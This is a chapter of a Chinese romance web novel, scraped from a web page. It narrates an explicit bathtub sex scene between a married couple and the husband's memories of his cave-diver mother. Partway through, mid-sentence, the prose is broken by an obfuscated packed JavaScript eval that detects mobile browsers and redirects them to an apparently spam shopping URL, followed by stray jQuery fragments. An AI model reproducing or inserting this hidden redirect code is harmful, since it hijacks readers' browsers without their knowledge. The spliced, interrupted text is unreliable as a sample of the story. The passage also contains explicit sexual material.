15. chapter15◎渴望

作品:《京雪夏至[先婚后爱]

    得到肯定的答复后,裴述京捏了捏她的脸,把她抱去浴室。


    明亮的灯光显然让夏稚有一种诡异的轻松,她再一次感慨,昨晚上熄灯是错误的选择。


    比夜晚轻松许多。


    只是有些羞赧。赤裸相见比无限遐想的漆黑夜晚,更来得坦诚。


    洁白光源倾泻而下,浴缸里已经放满了水,仿若夏日水漫的池塘,水位线升高,泛起涟漪。夏稚的头发凌乱,氤氲而上的水雾,弥漫开来,濡湿的发丝黏在身上。


    栗色的长卷发,深海洞潜的海藻生物,随着波涛而汹涌,伸展、扭曲、水声沸腾。


    裴述京极有耐心,深邃蓝洞的潜水员,并不因为年岁渐长而自忖轻率,他一点点试探,时刻观察着手中女孩的身体反应。


    “乖宝,腿打开。”


    裴述京的声音带着一抹沙哑,香薰甜腻的柚香掺杂晚香玉,是他很少闻到的香味。


    一贯清冷矜贵男人,擅长的是谈判推拉,从无败绩,也未曾因为什么而焦虑紧张。


    而现下却紧紧抿唇,好看的下颌线本就利落,因微微用力而越加清晰。


    夏稚捂着脸,只觉得肢体接触已经足够亲密。


    背后被垫得舒服柔软,凌乱的长发被男人修长的手指理好,拨到一侧。


    裴述京的指腹触及肌肤,只觉得有些温热。


    感受到裴述京的吻落在耳侧,以此为圆心,热浪涟漪不断扩散。


    “宝宝放松点,要开始了。”


    男人的声音字句虽然低缓,却清晰地落入耳侧,夏稚难以置信地睁大了眼睛……


    所以刚才只是前戏?


    裴先生果然观察敏锐,尽管只有一瞬,他还是捕捉到了夏稚的迟疑。


    他像是个耐心的老师一一教授着:“说了是三根,这还没进去呢。”


    夏稚方才已经有些脱力,现在勉强思索着他的话,还没来得及反应,忽然觉得一惊,下意识地合拢。


    “乖,腿打开点,”裴述京的声音骤然响起来,声音嘶哑而有点儿无奈,他的声音清晰而低沉,“宝宝,你想夹死我啊。”


    女孩的脸上已经有了哭过的痕迹,分不清是眼泪还是濡湿的冷汗,脸颊红彤,像是蔓延开来的高烧,不退的灼热,直接隐进了原本雪白的脖颈。


    她的眼尾已经有了明显的红色,原本清明的眉眼,现下却显得格外混沌。


    夏稚的声音微微有些发颤,她祈求地说:“我不要了,我不想要了。”


    她害怕。


    裴述京思绪中断,他看着面前的小姑娘,比自己小了足足七岁,穿着睡裙,肩膀过分削瘦,连那一丝儿吊带的重量都无法承受,在方才的挣扎中,发鬓松散而衣衫乱。


    在一片漆黑中,夏稚的眉眼是几近透明的琥珀,盛了一方积年的雨水。


    轻轻一晃就会撒出来。


    裴述京的声音响在耳畔,轻声安抚。


    “小稚好可爱。”


    感受到男人陡然靠近的肩膀,裴述京的气息清冷好闻,在蒸腾之下显得更加浓郁的雪松气息四涌。


    夏稚轻轻颤抖着,被拥入怀中。


    裴述京的拥抱像是一种接纳,方才还把她折腾得几乎哭出来的手,现在却轻轻拍着背脊。


    像是哄睡小朋友的手势。


    “宝宝怎么了?弄疼你了吗?”


    裴述京的叹息轻不可闻,第一次用这样宠溺的语气说话,却让原本没那么委屈的小姑娘,越发觉得难过。


    温热的眼泪像是夏天的收尾。


    夏稚不知道为什么就觉得特别委屈,她扭了扭身子,回手环抱住面前的裴述京。


    她的声音闷闷的,带着哽咽:“你欺负我,你为什么要看那里……好奇怪,好丢脸。”


    “对不起,”裴述京小声安抚,“但是宝宝觉得舒服吗?”


    “嗯。”


    “我希望你舒服,这不是在欺负你,”裴述京松了一口气,他顿了顿,温声确认,“乖宝为什么哭?”


    夏稚不知道自己为什么觉得委屈,她只是忽然发现,比起方才的颠沛,自己更喜欢这种安静的拥抱。


    男人的怀抱格外陌生。


    她忽然说,你以后能经常抱我吗?就像现在这样。


    从来没有人这样抱过我。


    从来没有。


    读美高的时候,homestay的那家人,表面客气热情,拥抱她的次数很多,但总是戛然而止。原本来自于血脉亲人的拥抱,也变成冷冰冰的礼节。


    夏稚往他怀里又蹭了蹭。


    她想起十六岁时,滑雪骨折,回国养伤的时候,母亲在机场接她,司机和佣人礼貌地接过行李。


    白露只给了她一个简短的抱,就匆匆放手。


    而夏稚现在发觉,自己其实更喜欢被用入怀中的感觉。


    她不再抗拒。


    异物进入的触感渐渐习惯,她小声地问:“阿慎。”


    裴述京的手指微微一顿。


    他敛眉,轻声说:“这是我妈妈给我取的名字。”


    “我可以这么叫你么?”夏稚有些惴惴。


    “当然,”裴述京轻滑指尖,在夏稚身上一笔一划地写,“其实不是小名。是我以前的名字。”


    “这么写。”


    夏稚的身体随着他的笔画而颤栗,她阖上眼睛,感受字迹笔画走势。


    慎。


    蓝慎。


    横平竖直的名字,尖锐而锋利,一笔一划,没有圆滑。


    锋芒毕露,却又念作“慎”。


    裴述京的声音,在水声哗啦中,显得格外遥远。


    “我以前的名字,蓝慎。”


    裴述京的叹息声,微不可闻。


    关于“蓝慎”的记忆,现在想来格外遥远,那是脱离了家族的名字,像是短暂挣脱了沉重的枷锁。


    而十七岁的时候,他亲自为自己带上镣铐。


    “阿慎,阿慎。”


    铺天盖地袭来,颤栗之中,水声显得鼎沸。


    两个人的沸反盈天。


    浮木飘摇不定,夏稚只能微微念住那如同咒语的名字。


    婚戒在泥泞中忽隐忽现,漾起的水波,光辉在碎光粼粼中越发明媚。


    裴述京的气息笼罩过来,洞潜里忽明忽灭的蛋黄水母泛着幽冥的光辉,一切都看不分明。


    喷溅而出的热浪顶得小鱼四处逃窜。


    裴述京从小就跟着母亲潜水,母亲有一个奇怪的中文名,叫做蓝鲸。她本名如此,并非是昵称。


    她还有一个更为著名的名号。


    蓝洞鲸鱼。


    那是个在洞潜界内、乃至整个探险圈里都出名的人。


    他们形容这是洞潜的王者,她拥有在三百米处救援的能力,亲自测绘了十余处洞潜地图。


    然而时过境迁,裴述京再回忆起来,记住的并非是母亲璀璨的光辉事迹。


    他记得母亲的手。


    她手把手教孩子潜水,失温的时候,被母亲拥入怀中,泛白


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227533|197264||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的唇和因为冷而发抖的身体。


    裴述京逐渐爱上洞潜。


    他一点点下水,尝试新的深度,不断刷新自己下潜的深度。


    水位线上浮,浪花拍打着消波块,岸边的水声沸腾,他准备好氧气瓶,手中的匕首锋利,冷硬的光辉泛起倒映的水花。


    裴述京微微蹙眉。


    水位线越来越高。涨潮了。


    -


    婚戒戴在指上,安然无虞。


    匀净的手指,修长而骨节分明,他轻轻丈量。


    泛着水光的长指,水痕反光,精心雕琢的钻石同样光辉,他的声音有些愉悦。


    “宝贝,你看。”


    “这是你的水位线。”


    夏稚睁大了眼睛,难以想象这样的深度,但下一秒,她发出惊呼,因为身体的本能反应而难抑制的声音。


    是舒服的。


    舒服到她的几乎视线模糊,像是升腾的,沸腾的,情欲。


    裴述京眼神一瞬飘忽,因为女孩的声音而更加炙热,却依旧认真地望着。


    这是新的领地。


    他一丝不苟地盯住。


    直到一切崩塌。


    -


    这一次,试用完美通过。


    夏稚的琥珀色双眸失了焦,她躺在浴缸里,轻轻流动的水,温度正好,裴述京神色认真。


    “满意吗?”


    夏稚亲了亲,作为回答。


    过了很久很久,连身上薄汗都渐渐退却,夏稚忽然说:“阿慎,你过来。”


    裴述京凑近,两个人的距离如此之近,分毫之间。


    连发丝都能痒痒地搔动裴述京的眉宇。


    “我告诉你一个秘密。”


    “我不明白为什么,从我第一次见到你,你握住我的手……你亲我的时候,我摸你的时候,我的身体……”


    “好像会很羞耻。但每次……都会流水。”


    “我是不是有点奇怪。”


    夏稚莫名涌上来的焦虑,像是小时候强迫症发作,检查自己到底有没有在准考证上涂好学号。


    越是想就越是不确定。


    她是这样别扭的人。


    不愿意开灯,也不想承认自己被弄得舒服,尽管口嗨,又菜又爱玩,但真正要明月真的照亮湿润潮涌的海浪,夏稚会觉得羞耻。


    她害怕这样的情绪。也对这样的自己感到陌生。


    裴述京哑然了一瞬,忽然意识到一个问题:“夏稚。”


    被这样唤了名字,似乎带着一点严肃。


    她抬起眼,琥珀色的眸子里,是易碎的琉璃。


    面前的裴述京眉眼依然是那样俊美,但却多了一丝情绪。显而易见,夏稚似乎并未接受过此类教育,好像什么都乱七八糟的,虽然懵懵懂懂地看过一些视频或是漫画,看起来也很是胆大,又敢藏睡衣,又敢要奖励。


    但实际上还是胆小又怯怯的。


    裴述京摸了摸她的头,像是在安慰小姑娘那样。


    他循循善诱道:“这不是值得羞耻的事情。”


    男人皙白的手搭在自己浴袍带子上,近在咫尺的脸庞,五官和皮肤都经得起推敲,是一锤定音的好看。


    清隽如谪仙的男人,连随便披了浴袍,都像是镀上一层降临的圣光。


    而现在,清冷矜贵的裴述京,轻轻抽开自己的浴袍系带。


    他的声音平和又坦荡,带着些许的安抚。


    “我很丑陋。”


    “我也很渴望。”